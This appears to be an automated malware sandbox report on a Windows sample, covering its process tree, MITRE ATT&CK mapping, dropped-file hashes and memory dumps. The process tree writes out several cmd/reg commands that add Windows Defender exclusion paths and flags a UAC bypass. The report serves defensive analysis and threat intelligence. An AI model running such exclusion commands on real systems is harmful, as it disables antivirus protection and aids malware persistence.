C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:572
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2092

C:\Program Files (x86)\3BKYDt\o1NX3q.exe
"C:\Program Files (x86)\3BKYDt\o1NX3q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4896

C:\Program Files (x86)\3BKYDt\o1NX3q.exe
"C:\Program Files (x86)\3BKYDt\o1NX3q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2100

C:\Program Files (x86)\1xY4y\Quna86.exe
"C:\Program Files (x86)\1xY4y\Quna86.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1808

C:\ProgramData\HB6rIfmK.exe
"C:\ProgramData\HB6rIfmK.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4564

C:\ProgramData\3YLUasBo\GrOcS3OF.exe
"C:\ProgramData\3YLUasBo\GrOcS3OF.exe"
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:4276

C:\Program Files (x86)\3BKYDt\o1NX3q.exe
"C:\Program Files (x86)\3BKYDt\o1NX3q.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2676

C:\Program Files (x86)\1xY4y\Quna86.exe
"C:\Program Files (x86)\1xY4y\Quna86.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2564

C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
"C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe" 1776
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2272

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\3BKYDt" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5484
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\3BKYDt" /t REG_DWORD /d 0 /f
  2⤵
  PID:4900

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4820
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3276

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3080
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5400

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:6132
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:2296

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1688
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\1xY4y\XPSPLOG.dll
Size 4.6MB
SHA256 37968047ac6492bc510d765e12be54e9510ce4c11acf1822eaf6ee71bd32388b
MD5 704c13260b132998835661987f38fa3e
SHA1 7b63b4c40ddccc4a93120d44e240a351470e0bbc
SHA512 675271f51b23e22dd6e506b0475e0d60ad95cb51f5cfcc66f5bbab88f045d2f7abf002ea6a59b72bcba08e24e68c53e79b3dfe149f54b1848d4733e204b3a3be
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyJ:BMWKfU+BcUTHCCCfqCiUffnJ
TLSH
T1F7263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\1xY4y\image.png
Size 4.8MB
SHA256 a10458bae16cc2abd90637efa1347114bceab60085b7cd420756aea6b5d0a040
MD5 dd9ff4cfba34f5cad2176f742e3c05ef
SHA1 75f5f5823b3df0c4c03ae236f7db983d4c131865
SHA512 e4995802af0937495171f2ac3d40244c06dfef4bff0a223e1cd2e3498d989bdda031dbb66eb9bbd207ab515f05a74ebae5adee5573dbfa372c29bd519fc73548
SSDEEP 98304:3/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:3MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T16736334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\3BKYDt\XPSPLOG.dll
Size 4.6MB
SHA256 3ddd30f4dc59ce02b12c2370184fb3f563a566ea3735d05efb61956c5753257b
MD5 1493c974f6e95908ff09e41f9b9ae00c
SHA1 4099e9dce77722ccf91599db0c45d661fb872d20
SHA512 4aaa56aec5543bcdf5c866256290bb9212602d105c2835d5f2cc5403856691ffde96a49eeb27cbe79b64ac3b1eb909e24d72d135ad22a4d6d0fb77931dc03a84
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyK:BMWKfU+BcUTHCCCfqCiUffnK
TLSH
T1A9263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\3BKYDt\image.png
Size 4.8MB
SHA256 207038b19110e8ea3a60b179ba8b4a1ae6ca2e2b717d6be10b306c901e56baec
MD5 62df38b090abb20c0749527358a8a310
SHA1 b46747b73a163548620eee0972de05cea88a204d
SHA512 a5ba481d85e7a982820bce29352a87c4bd61752ef9bad9d72bd9cf54e924dc7b5942eff7931641be21166f58ad0b482b9f5212b4ad5290e0b796ad1375842d46
SSDEEP 98304:9/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:9MpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1C236334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

o1NX3q.exe

Path C:\Program Files (x86)\3BKYDt\o1NX3q.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\3BKYDt\thumbs.db
Size 358KB
SHA256 80110aad11b62fe82202954e9e1c9d0cc435f7d729643567f6c43de5ad5ae59a
MD5 c5a8293ddda55f7bdf856d825a35fa29
SHA1 957c9c45a5f1018d0b01f7ff8aedcc7591047be8
SHA512 d05c850476493fd34f7c1ac37d23424393a8177c12fd4c284a7ba75486b8d50341d746991247e3d87f5bd3f229d75d3bffdd798b7c17eeebc35dca6b5f9d05c9
SSDEEP 6144:8iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:b8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.dat

Path C:\ProgramData\3YLUasBo\GrOcS3OF.dat
Size 56KB
SHA256 8cdeb5bc7041b8f5503744d5544f03ad156dd7d20a4a685dc6d454fb59f98261
MD5 0511706da4f6397f893e872d52693819
SHA1 4cd9c39706d613ab33227705aea95caa8d897092
SHA512 dfbb185b1e150e494c61037568181421876877f2144c624c8b53fa443ae7e6f174c479126157bd5c0ced940c5a7d8f0760c15a96667dbb8d1620d255b8933a52
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJYT:LsUL1PSkbvG2pkze2GYT
TLSH
T11C43020AD5F17B2ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.exe

Path C:\ProgramData\3YLUasBo\GrOcS3OF.exe
Size 475KB
SHA256 5cb15571f3bb41d9afcf8e3c1a060587ac91b2ceb9a41a940ca2cea4b9b9606c
MD5 8425c8602a2ff6b291e7b1ffec9dbfe5
SHA1 125cb9c1d36d76a5855fd15ee9214711688ab753
SHA512 116f8c6e09e08830d4a56d80d8ae2f7225b1eee586be135ff79b7a116ceae6c105588da7c9919bba66920d9b17f133ae54d812bfd9dc6b0fd6db103e6698d7f9
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/m:gthTiP+ffCfB5Lf0F7Z1EDsVm
TLSH
T1DFA42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.png

Path C:\ProgramData\3YLUasBo\GrOcS3OF.png
Size 167KB
SHA256 b96dccf210f23112c95bdc9a02203a89866d1bf15b80e74f473b786062deeecd
MD5 da2980bbad5582a0af3deb7bdb8fb77a
SHA1 8507262883022deaac048484c441bf4720250a69
SHA512 ae8aefc00633a999e229ad588150cb0da6043b0523bf3c9bf44537ac04d8c9f26e083ea589fc06e640e0b1b55f9a907176d2a711d108bc3b7368a3d06a88eec0
SSDEEP 3072:3xvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:xH+KKo4dNK2d2kdXYon74mBV1X
TLSH
T152F3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HB6rIfmK.exe

Path C:\ProgramData\HB6rIfmK.exe
Size 2.5MB
SHA256 ce7c1204e2061328bba3933fb2c8d2efdfec87ef07cb9f3f32201f5f9c41b289
MD5 82c1597b14454c9426835a5979963a4b
SHA1 f36a27b229ebc70c65cecdfa2e8cad59af65c314
SHA512 d650a74beadd277501ed9d49268c69863fd673361a2638b3ac1add45df45466c32acbfa740d60854425b380074b1af1b38aa91b584a82405e07649367ff2f952
SSDEEP 49152:sSX2vsEpkYfjcXP+D+3TGcGvntClmwvoj+4mWthy21RL7iEJBv:Pm0+0PjTVGvEvvojLSSviYBv
TLSH
T1D8C523126DDA81E5D5820B30D71FA7C732F09594CAB08C34EFC179887472F67A27ADA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yHDc9ZDz.exe

Path C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
Size 663KB
SHA256 853c02ef93f9baf05bb4066e3d860983b1147fb4d5a7ac853b97a7fb2a5c684a
MD5 4676fde80037868828bff99773d0eec3
SHA1 be787297b2b1835126f2f4d38120cfb979871cf3
SHA512 d73ec6ccf8b10cb2f24dd8cd6068cd0cdaf535eeae1d0876d6f910c1d459a03ebefe8656f89b1e990e3b67624f0e9df7465710ac00fe57a93bca2ac54096fabe
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgbI:hpYF/e5icRQjV3pRR2Aobllv
TLSH
T1B0E423C99C65B095C0A009FABC118D2BE50E5174209EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 ff517e765714c89d37d1b564ebbcc2b6dfb6a1721a5459746ab87ad3e2a29cb2
MD5 9752747450a8a589cabd32f721bd49ef
SHA1 3c3482bc9a44f4dabb75d3f6d83bc0fabea13971
SHA512 d4e762d675976d408c6031bc146c3bb0f15b5cbea89a1dcac011b517dfb18b015fba3018bab0919664bffde605830fbe42ebd471bd9c24e93b34792916309c23
TLSH
T17321E99F4B772580FF815F0323C5D63E2EB267C158ED245A412685892A10BA63A3F65E
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 95f210c77caf152cb12c227aa041d2600a2d140537faa4880ada860e0e388789
MD5 d79c0e2cc50ec05cebd8356e28429fcf
SHA1 ea5ecbb8d0b158ea623d8402d8727f0a91e02174
SHA512 5255bf1f0b1b6480796dcd8253992b053c0cc9ef06a1506d2f81c782a334958a26920946cded9bed9eba19fd6865cb5d2317ff05fad133f6394bc0e438ddcb24
TLSH
T11121948B9FB62533E701CD4A04D8AD735CFAA7E550880919B01BD2E918103F69B4A51A
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 0e57b23c3a3f0a008b793306ac860f05d0cd5eb5cec0fb66aa331e79a9feec9c
MD5 8a490050629516f8fdf81cbeb0dca8e3
SHA1 0cf362f49d2df80d8a7d5ef39100acc46b8e633d
SHA512 92fe13aea990b22c3aa3afe9ba049d5c34c04828ac6fec606b3ba7b526420a992b0b864bc002e510345caf46709a530b3dd7d0e44cf419cf2364201b3eee50f4
TLSH
T16B21B6D35C3C28461B81EC9E1C97DBF37DB4F5DA8A98B4101536A019EA103D7AE0DA8A
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 52cee7248533b95942f7d630c6d656c98ec62d7dff9e9ce7675d668d7224c168
MD5 642949c3cfec2bfc8a3fbcfe3855be37
SHA1 9b50a48d3c1f336432bb91d406e19018da9019bf
SHA512 bb1c0bf2f11abdcda4b4f3640f6bc18a92bfbf978d5d2dd1e70d5fa2419ad75441470645cdd72577fd239d6cedb09e07af83b862e2b347dea41ea9aeb58790fe
TLSH
T15AF05C2C59B9412FF032CD790BC938D78B7FF602700549A026F4870CBA41E056D6193A
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 0e0b2750d21c75a01d957339d9730de8f4d5ffd103b7cb1c217bf03b63619ffb
MD5 c55d1b3c6a97f6d47d77f8b44d9e815a
SHA1 50193efd1d6cc68148311734f9c68a29fc04a32e
SHA512 70bd6e940d96b1042209e44498a31d8201f21cfa5167481ee4e29c6181d727948fd52e21bd1e3e8d95ec465dd0137496e470c1a5e793f804a60e4c18f7e71c77
TLSH
T114F0DC2868F8A10AF136CFB846E423F1A61BB403180013FF0CE5431A6B02A202C9523E
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 b93a34a5597a0ff525c8d2e770a09baacf5a34598defb35cc89b009db3c2df4a
MD5 0628b6fb60e9e0a802b013069e4a1e6d
SHA1 52105950d05b0961c9c715ddec6a5ce157e399be
SHA512 922cc98597d7e7ae757217f48f07c982cf746d748a0542a39801e7c16aa96e22c320b63fa2aa0b8e019f6e1a1638d1c7fd077a5740fb2e8dc04d397c3353a933
TLSH
T1FEF09E28307E809FF0B3D9740BC9617A4D1AF512750249E90AE647197E45F006CF1B3A
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3d6b88b4a750b81a04172fd4a4260c65595418035e8644dd117dbcfd756682d7
MD5 40592ee91559ebe8a1852b80195c4d66
SHA1 64d4f0f96daa7a0efde52b23c70d16ed96c999ed
SHA512 2fd7bd582f5a3c7f586ed3fba23db9e12801cc1f136020ccc1ca5112e2ad3f5b1dce5bc90b0132ced01d4f3b389535903b6bd52044f4e2800f8d211ce2f65157
TLSH
T162217633B3CC8654C899013A10CEAC1036B787CB409E8E9B6B84D519A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 6d0812eab00924845159bc4fd09af9d71cb51fb5b20062dbf8ecec5ca77acaad
MD5 d0b4601ba8101a92b44db4045e793c03
SHA1 924c1fd635e984534d51fa63120539112794bce2
SHA512 0466568b5acd7a9317f69526115b377d0866b78b2c24a8bd9c482a907523a97ab99db7a68eef5c719b79e4fa05d1d244f0ae9cfb23d5bc7094a57315c4caf8a5
SSDEEP 384:X1eBaoT1iBvGy4bdjvjcvsH0M2Y+geC2r2PntIAbk4EWpWBuZlCnktbhNqb+1RvC:FexZ6vGrRQvsHDx+F6FIAbkHW32CbhNe
TLSH
T1F892B578513F5DC7D8D116B410D20AA7FBA4E488DAF651A8BF2BDE2F0C90BB64E60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_bwfbp5tc.fe1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bwfbp5tc.fe1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\v4Sbuu\UxEnhance64.dll
Size 3.1MB
SHA256 431df3fdda6fab12d5b6fa0829ed9ae99b0ce638a28e80c08be4cfa69bfdf480
MD5 2b7f325690a6b7249573603fa2cfd18d
SHA1 bc452182e2e3dae118005d7f451c8c2ba40b798b
SHA512 4dca9ce052ddecc06967aef1adfe709b65167c1c55943fdfa88123cf517c513fcdad264a9e82d119922cbf1c9cb1b8829a2342e13b1bd1d75731001196acaa80
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+z:P9m29xx3Tiqt06ox6+z2rNNrKoz
TLSH
T126E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\v4Sbuu\adoresd.dat
Size 4.7MB
SHA256 6bb32e2dc6be330531033a6bbafab8287340645fc3ef2784db1d4ba062af29cb
MD5 ee2792e0c5be73f65fb78342ab3ff63b
SHA1 bd9e9f5c40f34bb636bf5c81c12f6216b9ea6437
SHA512 9f2e50216125f97df7884b98e3e069ae8729383de41dd887d590680b8f62d9273e22ac97a9e0d1f80a81f6cc36fb9d0674490b4b46b5fabadb87b1007da678fc
SSDEEP 98304:zKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:zKClqhi0Cv54K2IVS0VQg
TLSH
T1133633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\v4Sbuu\msadox.tb
Size 8KB
SHA256 80cc07389ac9e363a323238fd4f1c04e6c7534724eb0c5d0dc1bc52eeab49dbc
MD5 31a945bcd4392debac56eb839a496404
SHA1 2b52caa710dca8ed0eabd5ae0bebf00106792758
SHA512 aa3f8d7b6296e359682c9e084dd9f73c38efa0a8d74a55b32838f1ce895f6868d7fb9958a7268ef3d4cb3e3cd60c91c46dce053addec1399810e8b8e4f36ea96
SSDEEP 192:gqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:gsZqZOXQ3uqvR2Kfzp
TLSH
T1D1029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67E4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nrkfjc.exe

Path C:\Users\Public\v4Sbuu\nrkfjc.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/616-617-0x0000020DD0350000-0x0000020DD035A000-memory.dmp

Download

memory/616-616-0x0000020DD05F0000-0x0000020DD06A2000-memory.dmp

Download

memory/616-615-0x0000020DD0330000-0x0000020DD034E000-memory.dmp

Download

memory/616-608-0x0000020DD0290000-0x0000020DD02B2000-memory.dmp

Download

memory/1808-777-0x0000000003480000-0x0000000003C5D000-memory.dmp

Download

memory/1808-783-0x0000000000D60000-0x0000000000D61000-memory.dmp

Download

memory/1808-779-0x0000000001210000-0x0000000001211000-memory.dmp

Download

memory/1808-768-0x0000000000D60000-0x0000000000D61000-memory.dmp

Download

memory/1808-769-0x0000000073CE0000-0x000000007442A000-memory.dmp

Download

memory/1808-780-0x0000000003480000-0x0000000003C5D000-memory.dmp

Download

memory/1932-586-0x000002C265E00000-0x000002C266687000-memory.dmp

Download

memory/1932-578-0x000002C265E00000-0x000002C266687000-memory.dmp

Download

memory/1932-589-0x00007FFCD6390000-0x00007FFCD6392000-memory.dmp

Download

memory/1932-587-0x000002C265E00000-0x000002C266687000-memory.dmp

Download

memory/1932-588-0x000002C265E00000-0x000002C266687000-memory.dmp

Download

memory/1932-585-0x000002C265E00000-0x000002C266687000-memory.dmp

Download

memory/1932-580-0x00007FFCD63A0000-0x00007FFCD63A2000-memory.dmp

Download

memory/1932-581-0x000002C265E00000-0x000002C266687000-memory.dmp

Download

memory/1932-574-0x00007FFCB3710000-0x00007FFCB3C2E000-memory.dmp

Download

memory/2100-761-0x0000000003090000-0x000000000386D000-memory.dmp

Download

memory/2100-774-0x00000000006B0000-0x00000000006B1000-memory.dmp

Download

memory/2100-760-0x0000000000B40000-0x0000000000B41000-memory.dmp

Download

memory/2100-740-0x00000000006B0000-0x00000000006B1000-memory.dmp

Download

memory/2100-742-0x00000000750B0000-0x00000000757FA000-memory.dmp

Download

memory/2100-751-0x0000000003090000-0x000000000386D000-memory.dmp

Download

memory/2128-904-0x0000000007A90000-0x000000000810C000-memory.dmp

Download

memory/2128-886-0x0000000005C10000-0x0000000005C76000-memory.dmp

Download

memory/2128-891-0x0000000006180000-0x00000000061CC000-memory.dmp

Download

memory/2128-913-0x00000000076C0000-0x0000000007756000-memory.dmp

Download

memory/2128-894-0x0000000007290000-0x00000000072C6000-memory.dmp

Download

memory/2128-895-0x000000006F140000-0x000000006F18C000-memory.dmp

Download

memory/2128-888-0x0000000005C80000-0x0000000005FDB000-memory.dmp

Download

memory/2128-902-0x00000000072F0000-0x0000000007310000-memory.dmp

Download

memory/2128-903-0x0000000007310000-0x00000000073B3000-memory.dmp

Download

memory/2128-890-0x00000000060D0000-0x00000000060EE000-memory.dmp

Download

memory/2128-885-0x00000000054A0000-0x0000000005506000-memory.dmp

Download

memory/2128-879-0x0000000005400000-0x0000000005422000-memory.dmp

Download

memory/2128-905-0x0000000007450000-0x000000000746A000-memory.dmp

Download

memory/2128-877-0x0000000005550000-0x0000000005B9A000-memory.dmp

Download

memory/2128-912-0x00000000074C0000-0x00000000074CA000-memory.dmp

Download

memory/2128-876-0x00000000028B0000-0x00000000028E6000-memory.dmp

Download

memory/2272-867-0x00007FF764760000-0x00007FF764B8F000-memory.dmp

Download

memory/2272-893-0x00007FF764760000-0x00007FF764B8F000-memory.dmp

Download

memory/2676-831-0x00000000750B0000-0x00000000757FA000-memory.dmp

Download

memory/2676-830-0x0000000000890000-0x0000000000891000-memory.dmp

Download

memory/2676-844-0x0000000003250000-0x0000000003A2D000-memory.dmp

Download

memory/2680-540-0x00007FFCD63A0000-0x00007FFCD63A2000-memory.dmp

